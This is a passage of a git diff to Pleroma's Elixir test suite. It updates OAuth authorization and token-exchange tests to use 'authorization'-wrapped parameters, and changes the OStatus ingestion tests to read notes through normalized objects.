	user = insert(:user, password_hash: Comeonin.Pbkdf2.hashpwsalt("testpassword"))
	registration = insert(:registration, user: nil)

	conn =
	conn
	\|> put_session(:registration_id, registration.id)
	\|> post(
	"/oauth/register",
	%{
	"op" => "connect",
	- "scopes" => app.scopes,
	- "client_id" => app.client_id,
	- "redirect_uri" => app.redirect_uris,
	- "state" => "a_state",
	- "auth_name" => user.nickname,
	- "password" => "testpassword"
	+ "authorization" => %{
	+ "scopes" => app.scopes,
	+ "client_id" => app.client_id,
	+ "redirect_uri" => app.redirect_uris,
	+ "state" => "a_state",
	+ "name" => user.nickname,
	+ "password" => "testpassword"
	+ }
	}
	)

	assert response = html_response(conn, 302)
	assert redirected_to(conn) =~ ~r/#{app.redirect_uris}\?code=.+/
	end

	test "with invalid params, POST /oauth/register?op=connect renders registration_details page",
	%{
	app: app,
	conn: conn
	} do
	user = insert(:user)
	registration = insert(:registration, user: nil)

	params = %{
	"op" => "connect",
	- "scopes" => app.scopes,
	- "client_id" => app.client_id,
	- "redirect_uri" => app.redirect_uris,
	- "state" => "a_state",
	- "auth_name" => user.nickname,
	- "password" => "wrong password"
	+ "authorization" => %{
	+ "scopes" => app.scopes,
	+ "client_id" => app.client_id,
	+ "redirect_uri" => app.redirect_uris,
	+ "state" => "a_state",
	+ "name" => user.nickname,
	+ "password" => "wrong password"
	+ }
	}

	conn =
	conn
	\|> put_session(:registration_id, registration.id)
	\|> post("/oauth/register", params)

	assert html_response(conn, 401) =~ ~r/name="op" type="submit" value="connect"/
	assert get_flash(conn, :error) == "Invalid Username/Password"
	end
	end

	describe "GET /oauth/authorize" do
	setup do
	[
	app: insert(:oauth_app, redirect_uris: "https://redirect.url"),
	conn:
	build_conn()
	\|> Plug.Session.call(Plug.Session.init(@session_opts))
	\|> fetch_session()
	]
	end

	test "renders authentication page", %{app: app, conn: conn} do
	conn =
	get(
	conn,
	"/oauth/authorize",
	%{
	"response_type" => "code",
	"client_id" => app.client_id,
	"redirect_uri" => app.redirect_uris,
	"scope" => "read"
	}
	)

	assert html_response(conn, 200) =~ ~s(type="submit")
	end

	+ test "properly handles internal calls with `authorization`-wrapped params", %{
	+ app: app,
	+ conn: conn
	+ } do
	+ conn =
	+ get(
	+ conn,
	+ "/oauth/authorize",
	+ %{
	+ "authorization" => %{
	+ "response_type" => "code",
	+ "client_id" => app.client_id,
	+ "redirect_uri" => app.redirect_uris,
	+ "scope" => "read"
	+ }
	+ }
	+ )
	+
	+ assert html_response(conn, 200) =~ ~s(type="submit")
	+ end
	+
	test "renders authentication page if user is already authenticated but `force_login` is tru-ish",
	%{app: app, conn: conn} do
	token = insert(:oauth_token, app_id: app.id)

	conn =
	conn
	\|> put_session(:oauth_token, token.token)
	\|> get(
	"/oauth/authorize",
	%{
	"response_type" => "code",
	"client_id" => app.client_id,
	"redirect_uri" => app.redirect_uris,
	"scope" => "read",
	"force_login" => "true"
	}
	)

	assert html_response(conn, 200) =~ ~s(type="submit")
	end

	test "redirects to app if user is already authenticated", %{app: app, conn: conn} do
	token = insert(:oauth_token, app_id: app.id)

	conn =
	conn
	\|> put_session(:oauth_token, token.token)
	\|> get(
	"/oauth/authorize",
	%{
	"response_type" => "code",
	"client_id" => app.client_id,
	"redirect_uri" => app.redirect_uris,
	"scope" => "read"
	}
	)

	assert redirected_to(conn) == "https://redirect.url"
	end
	end

	describe "POST /oauth/authorize" do
	test "redirects with oauth authorization" do
	user = insert(:user)
	app = insert(:oauth_app, scopes: ["read", "write", "follow"])

	conn =
	build_conn()
	\|> post("/oauth/authorize", %{
	"authorization" => %{
	"name" => user.nickname,
	"password" => "test",
	"client_id" => app.client_id,
	"redirect_uri" => app.redirect_uris,
	"scope" => "read write",
	"state" => "statepassed"
	}
	})

	target = redirected_to(conn)
	assert target =~ app.redirect_uris

	query = URI.parse(target).query \|> URI.query_decoder() \|> Map.new()

	assert %{"state" => "statepassed", "code" => code} = query
	auth = Repo.get_by(Authorization, token: code)
	assert auth
	assert auth.scopes == ["read", "write"]
	end

	test "returns 401 for wrong credentials", %{conn: conn} do
	user = insert(:user)
	app = insert(:oauth_app)

	result =
	conn
	\|> post("/oauth/authorize", %{
	"authorization" => %{
	"name" => user.nickname,
	"password" => "wrong",
	"client_id" => app.client_id,
	"redirect_uri" => app.redirect_uris,
	"state" => "statepassed",
	"scope" => Enum.join(app.scopes, " ")
	}
	})
	\|> html_response(:unauthorized)

	# Keep the details
	assert result =~ app.client_id
	assert result =~ app.redirect_uris

	# Error message
	assert result =~ "Invalid Username/Password"
	end

	test "returns 401 for missing scopes", %{conn: conn} do
	user = insert(:user)
	app = insert(:oauth_app)

	result =
	conn
	\|> post("/oauth/authorize", %{
	"authorization" => %{
	"name" => user.nickname,
	"password" => "test",
	"client_id" => app.client_id,
	"redirect_uri" => app.redirect_uris,
	"state" => "statepassed",
	"scope" => ""
	}
	})
	\|> html_response(:unauthorized)

	# Keep the details
	assert result =~ app.client_id
	assert result =~ app.redirect_uris

	# Error message
	assert result =~ "This action is outside the authorized scopes"
	end

	test "returns 401 for scopes beyond app scopes", %{conn: conn} do
	user = insert(:user)
	app = insert(:oauth_app, scopes: ["read", "write"])

	result =
	conn
	\|> post("/oauth/authorize", %{
	"authorization" => %{
	"name" => user.nickname,
	"password" => "test",
	"client_id" => app.client_id,
	"redirect_uri" => app.redirect_uris,
	"state" => "statepassed",
	"scope" => "read write follow"
	}
	})
	\|> html_response(:unauthorized)

	# Keep the details
	assert result =~ app.client_id
	assert result =~ app.redirect_uris

	# Error message
	assert result =~ "This action is outside the authorized scopes"
	end
	end

	describe "POST /oauth/token" do
	test "issues a token for an all-body request" do
	user = insert(:user)
	app = insert(:oauth_app, scopes: ["read", "write"])

	{:ok, auth} = Authorization.create_authorization(app, user, ["write"])

	conn =
	build_conn()
	\|> post("/oauth/token", %{
	"grant_type" => "authorization_code",
	"code" => auth.token,
	"redirect_uri" => app.redirect_uris,
	"client_id" => app.client_id,
	"client_secret" => app.client_secret
	})

	assert %{"access_token" => token, "me" => ap_id} = json_response(conn, 200)

	token = Repo.get_by(Token, token: token)
	assert token
	assert token.scopes == auth.scopes
	assert user.ap_id == ap_id
	end

	test "issues a token for `password` grant_type with valid credentials, with full permissions by default" do
	password = "testpassword"
	user = insert(:user, password_hash: Comeonin.Pbkdf2.hashpwsalt(password))

	app = insert(:oauth_app, scopes: ["read", "write"])

	# Note: "scope" param is intentionally omitted
	conn =
	build_conn()
	\|> post("/oauth/token", %{
	"grant_type" => "password",
	"username" => user.nickname,
	"password" => password,
	"client_id" => app.client_id,
	"client_secret" => app.client_secret
	})

	assert %{"access_token" => token} = json_response(conn, 200)

	token = Repo.get_by(Token, token: token)
	assert token
	assert token.scopes == app.scopes
	end

	test "issues a token for request with HTTP basic auth client credentials" do
	user = insert(:user)
	app = insert(:oauth_app, scopes: ["scope1", "scope2", "scope3"])

	{:ok, auth} = Authorization.create_authorization(app, user, ["scope1", "scope2"])
	assert auth.scopes == ["scope1", "scope2"]

	app_encoded =
	(URI.encode_www_form(app.client_id) <> ":" <> URI.encode_www_form(app.client_secret))
	\|> Base.encode64()

	conn =
	build_conn()
	\|> put_req_header("authorization", "Basic " <> app_encoded)
	\|> post("/oauth/token", %{
	"grant_type" => "authorization_code",
	"code" => auth.token,
	"redirect_uri" => app.redirect_uris
	})

	assert %{"access_token" => token, "scope" => scope} = json_response(conn, 200)

	assert scope == "scope1 scope2"

	token = Repo.get_by(Token, token: token)
	assert token
	assert token.scopes == ["scope1", "scope2"]
	end

	test "rejects token exchange with invalid client credentials" do
	user = insert(:user)
	app = insert(:oauth_app)

	{:ok, auth} = Authorization.create_authorization(app, user)

	conn =
	build_conn()
	\|> put_req_header("authorization", "Basic JTIxOiVGMCU5RiVBNCVCNwo=")
	\|> post("/oauth/token", %{
	"grant_type" => "authorization_code",
	"code" => auth.token,
	"redirect_uri" => app.redirect_uris
	})

	assert resp = json_response(conn, 400)
	assert %{"error" => _} = resp
	refute Map.has_key?(resp, "access_token")
	end

	test "rejects token exchange for valid credentials belonging to unconfirmed user and confirmation is required" do
	setting = Pleroma.Config.get([:instance, :account_activation_required])

	unless setting do
	Pleroma.Config.put([:instance, :account_activation_required], true)
	on_exit(fn -> Pleroma.Config.put([:instance, :account_activation_required], setting) end)
	end

	password = "testpassword"
	user = insert(:user, password_hash: Comeonin.Pbkdf2.hashpwsalt(password))
	info_change = Pleroma.User.Info.confirmation_changeset(user.info, :unconfirmed)

	{:ok, user} =
	user
	\|> Ecto.Changeset.change()
	\|> Ecto.Changeset.put_embed(:info, info_change)
	\|> Repo.update()

	refute Pleroma.User.auth_active?(user)

	app = insert(:oauth_app)

	conn =
	build_conn()
	\|> post("/oauth/token", %{
	"grant_type" => "password",
	"username" => user.nickname,
	"password" => password,
	"client_id" => app.client_id,
	"client_secret" => app.client_secret
	})

	assert resp = json_response(conn, 403)
	assert %{"error" => _} = resp
	refute Map.has_key?(resp, "access_token")
	end

	test "rejects token exchange for valid credentials belonging to deactivated user" do
	password = "testpassword"

	user =
	insert(:user,
	password_hash: Comeonin.Pbkdf2.hashpwsalt(password),
	info: %{deactivated: true}
	)

	app = insert(:oauth_app)

	conn =
	build_conn()
	\|> post("/oauth/token", %{
	"grant_type" => "password",
	"username" => user.nickname,
	"password" => password,
	"client_id" => app.client_id,
	"client_secret" => app.client_secret
	})

	assert resp = json_response(conn, 403)
	assert %{"error" => _} = resp
	refute Map.has_key?(resp, "access_token")
	end

	test "rejects an invalid authorization code" do
	app = insert(:oauth_app)

	conn =
	build_conn()
	\|> post("/oauth/token", %{
	"grant_type" => "authorization_code",
	"code" => "Imobviouslyinvalid",
	"redirect_uri" => app.redirect_uris,
	"client_id" => app.client_id,
	"client_secret" => app.client_secret
	})

	assert resp = json_response(conn, 400)
	assert %{"error" => _} = json_response(conn, 400)
	refute Map.has_key?(resp, "access_token")
	end
	end
	end
	diff --git a/test/web/ostatus/ostatus_test.exs b/test/web/ostatus/ostatus_test.exs
	index 4658c91e5..2916caf8d 100644
	--- a/test/web/ostatus/ostatus_test.exs
	+++ b/test/web/ostatus/ostatus_test.exs
	@@ -1,546 +1,557 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.OStatusTest do
	use Pleroma.DataCase
	alias Pleroma.Activity
	alias Pleroma.Instances
	alias Pleroma.Object
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.Web.OStatus
	alias Pleroma.Web.XML
	import Pleroma.Factory
	import ExUnit.CaptureLog

	setup_all do
	Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	test "don't insert create notes twice" do
	incoming = File.read!("test/fixtures/incoming_note_activity.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)
	assert {:ok, [activity]} == OStatus.handle_incoming(incoming)
	end

	test "handle incoming note - GS, Salmon" do
	incoming = File.read!("test/fixtures/incoming_note_activity.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)
	+ object = Object.normalize(activity.data["object"])

	user = User.get_cached_by_ap_id(activity.data["actor"])
	assert user.info.note_count == 1
	assert activity.data["type"] == "Create"
	- assert activity.data["object"]["type"] == "Note"
	+ assert object.data["type"] == "Note"

	- assert activity.data["object"]["id"] ==
	- "tag:gs.example.org:4040,2017-04-23:noticeId=29:objectType=note"
	+ assert object.data["id"] == "tag:gs.example.org:4040,2017-04-23:noticeId=29:objectType=note"

	assert activity.data["published"] == "2017-04-23T14:51:03+00:00"
	- assert activity.data["object"]["published"] == "2017-04-23T14:51:03+00:00"
	+ assert object.data["published"] == "2017-04-23T14:51:03+00:00"

	assert activity.data["context"] ==
	"tag:gs.example.org:4040,2017-04-23:objectType=thread:nonce=f09e22f58abd5c7b"

	assert "http://pleroma.example.org:4000/users/lain3" in activity.data["to"]
	- assert activity.data["object"]["emoji"] == %{"marko" => "marko.png", "reimu" => "reimu.png"}
	+ assert object.data["emoji"] == %{"marko" => "marko.png", "reimu" => "reimu.png"}
	assert activity.local == false
	end

	test "handle incoming notes - GS, subscription" do
	incoming = File.read!("test/fixtures/ostatus_incoming_post.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)
	+ object = Object.normalize(activity.data["object"])

	assert activity.data["type"] == "Create"
	- assert activity.data["object"]["type"] == "Note"
	- assert activity.data["object"]["actor"] == "https://social.heldscal.la/user/23211"
	- assert activity.data["object"]["content"] == "Will it blend?"
	+ assert object.data["type"] == "Note"
	+ assert object.data["actor"] == "https://social.heldscal.la/user/23211"
	+ assert object.data["content"] == "Will it blend?"
	user = User.get_cached_by_ap_id(activity.data["actor"])
	assert User.ap_followers(user) in activity.data["to"]
	assert "https://www.w3.org/ns/activitystreams#Public" in activity.data["to"]
	end

	test "handle incoming notes with attachments - GS, subscription" do
	incoming = File.read!("test/fixtures/incoming_websub_gnusocial_attachments.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)
	+ object = Object.normalize(activity.data["object"])

	assert activity.data["type"] == "Create"
	- assert activity.data["object"]["type"] == "Note"
	- assert activity.data["object"]["actor"] == "https://social.heldscal.la/user/23211"
	- assert activity.data["object"]["attachment"] \|> length == 2
	- assert activity.data["object"]["external_url"] == "https://social.heldscal.la/notice/2020923"
	+ assert object.data["type"] == "Note"
	+ assert object.data["actor"] == "https://social.heldscal.la/user/23211"
	+ assert object.data["attachment"] \|> length == 2
	+ assert object.data["external_url"] == "https://social.heldscal.la/notice/2020923"
	assert "https://www.w3.org/ns/activitystreams#Public" in activity.data["to"]
	end

	test "handle incoming notes with tags" do
	incoming = File.read!("test/fixtures/ostatus_incoming_post_tag.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)
	+ object = Object.normalize(activity.data["object"])

	- assert activity.data["object"]["tag"] == ["nsfw"]
	+ assert object.data["tag"] == ["nsfw"]
	assert "https://www.w3.org/ns/activitystreams#Public" in activity.data["to"]
	end

	test "handle incoming notes - Mastodon, salmon, reply" do
	# It uses the context of the replied to object
	Repo.insert!(%Object{
	data: %{
	"id" => "https://pleroma.soykaf.com/objects/c237d966-ac75-4fe3-a87a-d89d71a3a7a4",
	"context" => "2hu"
	}
	})

	incoming = File.read!("test/fixtures/incoming_reply_mastodon.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)
	+ object = Object.normalize(activity.data["object"])

	assert activity.data["type"] == "Create"
	- assert activity.data["object"]["type"] == "Note"
	- assert activity.data["object"]["actor"] == "https://mastodon.social/users/lambadalambda"
	+ assert object.data["type"] == "Note"
	+ assert object.data["actor"] == "https://mastodon.social/users/lambadalambda"
	assert activity.data["context"] == "2hu"
	assert "https://www.w3.org/ns/activitystreams#Public" in activity.data["to"]
	end

	test "handle incoming notes - Mastodon, with CW" do
	incoming = File.read!("test/fixtures/mastodon-note-cw.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)
	+ object = Object.normalize(activity.data["object"])

	assert activity.data["type"] == "Create"
	- assert activity.data["object"]["type"] == "Note"
	- assert activity.data["object"]["actor"] == "https://mastodon.social/users/lambadalambda"
	- assert activity.data["object"]["summary"] == "technologic"
	+ assert object.data["type"] == "Note"
	+ assert object.data["actor"] == "https://mastodon.social/users/lambadalambda"
	+ assert object.data["summary"] == "technologic"
	assert "https://www.w3.org/ns/activitystreams#Public" in activity.data["to"]
	end

	test "handle incoming unlisted messages, put public into cc" do
	incoming = File.read!("test/fixtures/mastodon-note-unlisted.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)
	+ object = Object.normalize(activity.data["object"])
	+
	refute "https://www.w3.org/ns/activitystreams#Public" in activity.data["to"]
	assert "https://www.w3.org/ns/activitystreams#Public" in activity.data["cc"]
	- refute "https://www.w3.org/ns/activitystreams#Public" in activity.data["object"]["to"]
	- assert "https://www.w3.org/ns/activitystreams#Public" in activity.data["object"]["cc"]
	+ refute "https://www.w3.org/ns/activitystreams#Public" in object.data["to"]
	+ assert "https://www.w3.org/ns/activitystreams#Public" in object.data["cc"]
	end

	test "handle incoming retweets - Mastodon, with CW" do
	incoming = File.read!("test/fixtures/cw_retweet.xml")
	{:ok, [[_activity, retweeted_activity]]} = OStatus.handle_incoming(incoming)
	+ retweeted_object = Object.normalize(retweeted_activity.data["object"])

	- assert retweeted_activity.data["object"]["summary"] == "Hey."
	+ assert retweeted_object.data["summary"] == "Hey."
	end

	test "handle incoming notes - GS, subscription, reply" do
	incoming = File.read!("test/fixtures/ostatus_incoming_reply.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)
	+ object = Object.normalize(activity.data["object"])

	assert activity.data["type"] == "Create"
	- assert activity.data["object"]["type"] == "Note"
	- assert activity.data["object"]["actor"] == "https://social.heldscal.la/user/23211"
	+ assert object.data["type"] == "Note"
	+ assert object.data["actor"] == "https://social.heldscal.la/user/23211"

	- assert activity.data["object"]["content"] ==
	+ assert object.data["content"] ==
	"@<a href=\"https://gs.archae.me/user/4687\" class=\"h-card u-url p-nickname mention\" title=\"shpbot\">shpbot</a> why not indeed."

	- assert activity.data["object"]["inReplyTo"] ==
	+ assert object.data["inReplyTo"] ==
	"tag:gs.archae.me,2017-04-30:noticeId=778260:objectType=note"

	assert "https://www.w3.org/ns/activitystreams#Public" in activity.data["to"]
	end

	test "handle incoming retweets - GS, subscription" do
	incoming = File.read!("test/fixtures/share-gs.xml")
	{:ok, [[activity, retweeted_activity]]} = OStatus.handle_incoming(incoming)

	assert activity.data["type"] == "Announce"
	assert activity.data["actor"] == "https://social.heldscal.la/user/23211"
	- assert activity.data["object"] == retweeted_activity.data["object"]["id"]
	+ assert activity.data["object"] == retweeted_activity.data["object"]
	assert "https://pleroma.soykaf.com/users/lain" in activity.data["to"]
	refute activity.local

	retweeted_activity = Activity.get_by_id(retweeted_activity.id)
	+ retweeted_object = Object.normalize(retweeted_activity.data["object"])
	assert retweeted_activity.data["type"] == "Create"
	assert retweeted_activity.data["actor"] == "https://pleroma.soykaf.com/users/lain"
	refute retweeted_activity.local
	- assert retweeted_activity.data["object"]["announcement_count"] == 1
	- assert String.contains?(retweeted_activity.data["object"]["content"], "mastodon")
	- refute String.contains?(retweeted_activity.data["object"]["content"], "Test account")
	+ assert retweeted_object.data["announcement_count"] == 1
	+ assert String.contains?(retweeted_object.data["content"], "mastodon")
	+ refute String.contains?(retweeted_object.data["content"], "Test account")
	end

	test "handle incoming retweets - GS, subscription - local message" do
	incoming = File.read!("test/fixtures/share-gs-local.xml")
	note_activity = insert(:note_activity)
	user = User.get_cached_by_ap_id(note_activity.data["actor"])

	incoming =
	incoming
	\|> String.replace("LOCAL_ID", note_activity.data["object"]["id"])
	\|> String.replace("LOCAL_USER", user.ap_id)

	{:ok, [[activity, retweeted_activity]]} = OStatus.handle_incoming(incoming)

	assert activity.data["type"] == "Announce"
	assert activity.data["actor"] == "https://social.heldscal.la/user/23211"
	assert activity.data["object"] == retweeted_activity.data["object"]["id"]
	assert user.ap_id in activity.data["to"]
	refute activity.local

	retweeted_activity = Activity.get_by_id(retweeted_activity.id)
	assert note_activity.id == retweeted_activity.id
	assert retweeted_activity.data["type"] == "Create"
	assert retweeted_activity.data["actor"] == user.ap_id
	assert retweeted_activity.local
	assert retweeted_activity.data["object"]["announcement_count"] == 1
	end

	test "handle incoming retweets - Mastodon, salmon" do
	incoming = File.read!("test/fixtures/share.xml")
	{:ok, [[activity, retweeted_activity]]} = OStatus.handle_incoming(incoming)
	+ retweeted_object = Object.normalize(retweeted_activity.data["object"])

	assert activity.data["type"] == "Announce"
	assert activity.data["actor"] == "https://mastodon.social/users/lambadalambda"
	- assert activity.data["object"] == retweeted_activity.data["object"]["id"]
	+ assert activity.data["object"] == retweeted_activity.data["object"]

	assert activity.data["id"] ==
	"tag:mastodon.social,2017-05-03:objectId=4934452:objectType=Status"

	refute activity.local
	assert retweeted_activity.data["type"] == "Create"
	assert retweeted_activity.data["actor"] == "https://pleroma.soykaf.com/users/lain"
	refute retweeted_activity.local
	- refute String.contains?(retweeted_activity.data["object"]["content"], "Test account")
	+ refute String.contains?(retweeted_object.data["content"], "Test account")
	end

	test "handle incoming favorites - GS, websub" do
	capture_log(fn ->
	incoming = File.read!("test/fixtures/favorite.xml")
	{:ok, [[activity, favorited_activity]]} = OStatus.handle_incoming(incoming)

	assert activity.data["type"] == "Like"
	assert activity.data["actor"] == "https://social.heldscal.la/user/23211"
	- assert activity.data["object"] == favorited_activity.data["object"]["id"]
	+ assert activity.data["object"] == favorited_activity.data["object"]

	assert activity.data["id"] ==
	"tag:social.heldscal.la,2017-05-05:fave:23211:comment:2061643:2017-05-05T09:12:50+00:00"

	refute activity.local
	assert favorited_activity.data["type"] == "Create"
	assert favorited_activity.data["actor"] == "https://shitposter.club/user/1"

	- assert favorited_activity.data["object"]["id"] ==
	+ assert favorited_activity.data["object"] ==
	"tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment"

	refute favorited_activity.local
	end)
	end

	test "handle conversation references" do
	incoming = File.read!("test/fixtures/mastodon_conversation.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)

	assert activity.data["context"] ==
	"tag:mastodon.social,2017-08-28:objectId=7876885:objectType=Conversation"
	end

	test "handle incoming favorites with locally available object - GS, websub" do
	note_activity = insert(:note_activity)

	incoming =
	File.read!("test/fixtures/favorite_with_local_note.xml")
	\|> String.replace("localid", note_activity.data["object"]["id"])

	{:ok, [[activity, favorited_activity]]} = OStatus.handle_incoming(incoming)

	assert activity.data["type"] == "Like"
	assert activity.data["actor"] == "https://social.heldscal.la/user/23211"
	assert activity.data["object"] == favorited_activity.data["object"]["id"]
	refute activity.local
	assert note_activity.id == favorited_activity.id
	assert favorited_activity.local
	end

	test "handle incoming replies" do
	incoming = File.read!("test/fixtures/incoming_note_activity_answer.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)
	+ object = Object.normalize(activity.data["object"])

	assert activity.data["type"] == "Create"
	- assert activity.data["object"]["type"] == "Note"
	+ assert object.data["type"] == "Note"

	- assert activity.data["object"]["inReplyTo"] ==
	+ assert object.data["inReplyTo"] ==
	"http://pleroma.example.org:4000/objects/55bce8fc-b423-46b1-af71-3759ab4670bc"

	assert "http://pleroma.example.org:4000/users/lain5" in activity.data["to"]

	- assert activity.data["object"]["id"] ==
	- "tag:gs.example.org:4040,2017-04-25:noticeId=55:objectType=note"
	+ assert object.data["id"] == "tag:gs.example.org:4040,2017-04-25:noticeId=55:objectType=note"

	assert "https://www.w3.org/ns/activitystreams#Public" in activity.data["to"]
	end

	test "handle incoming follows" do
	incoming = File.read!("test/fixtures/follow.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)
	assert activity.data["type"] == "Follow"

	assert activity.data["id"] ==
	"tag:social.heldscal.la,2017-05-07:subscription:23211:person:44803:2017-05-07T09:54:48+00:00"

	assert activity.data["actor"] == "https://social.heldscal.la/user/23211"
	assert activity.data["object"] == "https://pawoo.net/users/pekorino"
	refute activity.local

	follower = User.get_cached_by_ap_id(activity.data["actor"])
	followed = User.get_cached_by_ap_id(activity.data["object"])

	assert User.following?(follower, followed)
	end

	test "handle incoming unfollows with existing follow" do
	incoming_follow = File.read!("test/fixtures/follow.xml")
	{:ok, [_activity]} = OStatus.handle_incoming(incoming_follow)

	incoming = File.read!("test/fixtures/unfollow.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)

	assert activity.data["type"] == "Undo"

	assert activity.data["id"] ==
	"undo:tag:social.heldscal.la,2017-05-07:subscription:23211:person:44803:2017-05-07T09:54:48+00:00"

	assert activity.data["actor"] == "https://social.heldscal.la/user/23211"
	assert is_map(activity.data["object"])
	assert activity.data["object"]["type"] == "Follow"
	assert activity.data["object"]["object"] == "https://pawoo.net/users/pekorino"
	refute activity.local

	follower = User.get_cached_by_ap_id(activity.data["actor"])
	followed = User.get_cached_by_ap_id(activity.data["object"]["object"])

	refute User.following?(follower, followed)
	end

	test "it clears `unreachable` federation status of the sender" do
	incoming_reaction_xml = File.read!("test/fixtures/share-gs.xml")
	doc = XML.parse_document(incoming_reaction_xml)
	actor_uri = XML.string_from_xpath("//author/uri[1]", doc)
	reacted_to_author_uri = XML.string_from_xpath("//author/uri[2]", doc)

	Instances.set_consistently_unreachable(actor_uri)
	Instances.set_consistently_unreachable(reacted_to_author_uri)
	refute Instances.reachable?(actor_uri)
	refute Instances.reachable?(reacted_to_author_uri)

	{:ok, _} = OStatus.handle_incoming(incoming_reaction_xml)
	assert Instances.reachable?(actor_uri)
	refute Instances.reachable?(reacted_to_author_uri)
	end

	describe "new remote user creation" do
	test "returns local users" do
	local_user = insert(:user)
	{:ok, user} = OStatus.find_or_make_user(local_user.ap_id)

	assert user == local_user
	end

	test "tries to use the information in poco fields" do
	uri = "https://social.heldscal.la/user/23211"

	{:ok, user} = OStatus.find_or_make_user(uri)

	user = Pleroma.User.get_cached_by_id(user.id)
	assert user.name == "Constance Variable"
	assert user.nickname == "lambadalambda@social.heldscal.la"
	assert user.local == false
	assert user.info.uri == uri
	assert user.ap_id == uri
	assert user.bio == "Call me Deacon Blues."
	assert user.avatar["type"] == "Image"

	{:ok, user_again} = OStatus.find_or_make_user(uri)

	assert user == user_again
	end

	test "find_or_make_user sets all the nessary input fields" do
	uri = "https://social.heldscal.la/user/23211"
	{:ok, user} = OStatus.find_or_make_user(uri)

	assert user.info ==
	%Pleroma.User.Info{
	id: user.info.id,
	ap_enabled: false,
	background: %{},
	banner: %{},
	blocks: [],
	deactivated: false,
	default_scope: "public",
	domain_blocks: [],
	follower_count: 0,
	is_admin: false,
	is_moderator: false,
	keys: nil,
	locked: false,
	no_rich_text: false,
	note_count: 0,
	settings: nil,
	source_data: %{},
	hub: "https://social.heldscal.la/main/push/hub",
	magic_key:
	"RSA.uzg6r1peZU0vXGADWxGJ0PE34WvmhjUmydbX5YYdOiXfODVLwCMi1umGoqUDm-mRu4vNEdFBVJU1CpFA7dKzWgIsqsa501i2XqElmEveXRLvNRWFB6nG03Q5OUY2as8eE54BJm0p20GkMfIJGwP6TSFb-ICp3QjzbatuSPJ6xCE=.AQAB",
	salmon: "https://social.heldscal.la/main/salmon/user/23211",
	topic: "https://social.heldscal.la/api/statuses/user_timeline/23211.atom",
	uri: "https://social.heldscal.la/user/23211"
	}
	end

	test "find_make_or_update_user takes an author element and returns an updated user" do
	uri = "https://social.heldscal.la/user/23211"

	{:ok, user} = OStatus.find_or_make_user(uri)
	old_name = user.name
	old_bio = user.bio
	change = Ecto.Changeset.change(user, %{avatar: nil, bio: nil, old_name: nil})

	{:ok, user} = Repo.update(change)
	refute user.avatar

	doc = XML.parse_document(File.read!("test/fixtures/23211.atom"))
	[author] = :xmerl_xpath.string('//author[1]', doc)
	{:ok, user} = OStatus.find_make_or_update_user(author)
	assert user.avatar["type"] == "Image"
	assert user.name == old_name
	assert user.bio == old_bio

	{:ok, user_again} = OStatus.find_make_or_update_user(author)
	assert user_again == user
	end
	end

	describe "gathering user info from a user id" do
	test "it returns user info in a hash" do
	user = "shp@social.heldscal.la"

	# TODO: make test local
	{:ok, data} = OStatus.gather_user_info(user)

	expected = %{
	"hub" => "https://social.heldscal.la/main/push/hub",
	"magic_key" =>
	"RSA.wQ3i9UA0qmAxZ0WTIp4a-waZn_17Ez1pEEmqmqoooRsG1_BvpmOvLN0G2tEcWWxl2KOtdQMCiPptmQObeZeuj48mdsDZ4ArQinexY2hCCTcbV8Xpswpkb8K05RcKipdg07pnI7tAgQ0VWSZDImncL6YUGlG5YN8b5TjGOwk2VG8=.AQAB",
	"name" => "shp",
	"nickname" => "shp",
	"salmon" => "https://social.heldscal.la/main/salmon/user/29191",
	"subject" => "acct:shp@social.heldscal.la",
	"topic" => "https://social.heldscal.la/api/statuses/user_timeline/29191.atom",
	"uri" => "https://social.heldscal.la/user/29191",
	"host" => "social.heldscal.la",
	"fqn" => user,
	"bio" => "cofe",
	"avatar" => %{
	"type" => "Image",
	"url" => [
	%{
	"href" => "https://social.heldscal.la/avatar/29191-original-20170421154949.jpeg",
	"mediaType" => "image/jpeg",
	"type" => "Link"
	}
	]
	},
	"subscribe_address" => "https://social.heldscal.la/main/ostatussub?profile={uri}",
	"ap_id" => nil
	}

	assert data == expected
	end

	test "it works with the uri" do
	user = "https://social.heldscal.la/user/29191"

	# TODO: make test local
	{:ok, data} = OStatus.gather_user_info(user)

	expected = %{
	"hub" => "https://social.heldscal.la/main/push/hub",
	"magic_key" =>
	"RSA.wQ3i9UA0qmAxZ0WTIp4a-waZn_17Ez1pEEmqmqoooRsG1_BvpmOvLN0G2tEcWWxl2KOtdQMCiPptmQObeZeuj48mdsDZ4ArQinexY2hCCTcbV8Xpswpkb8K05RcKipdg07pnI7tAgQ0VWSZDImncL6YUGlG5YN8b5TjGOwk2VG8=.AQAB",
	"name" => "shp",
	"nickname" => "shp",
	"salmon" => "https://social.heldscal.la/main/salmon/user/29191",
	"subject" => "https://social.heldscal.la/user/29191",
	"topic" => "https://social.heldscal.la/api/statuses/user_timeline/29191.atom",
	"uri" => "https://social.heldscal.la/user/29191",
	"host" => "social.heldscal.la",
	"fqn" => user,
	"bio" => "cofe",
	"avatar" => %{
	"type" => "Image",
	"url" => [
	%{
	"href" => "https://social.heldscal.la/avatar/29191-original-20170421154949.jpeg",
	"mediaType" => "image/jpeg",
	"type" => "Link"
	}
	]
	},
	"subscribe_address" => "https://social.heldscal.la/main/ostatussub?profile={uri}",
	"ap_id" => nil
	}

	assert data == expected
	end
	end

	describe "fetching a status by it's HTML url" do
	test "it builds a missing status from an html url" do
	capture_log(fn ->
	url = "https://shitposter.club/notice/2827873"
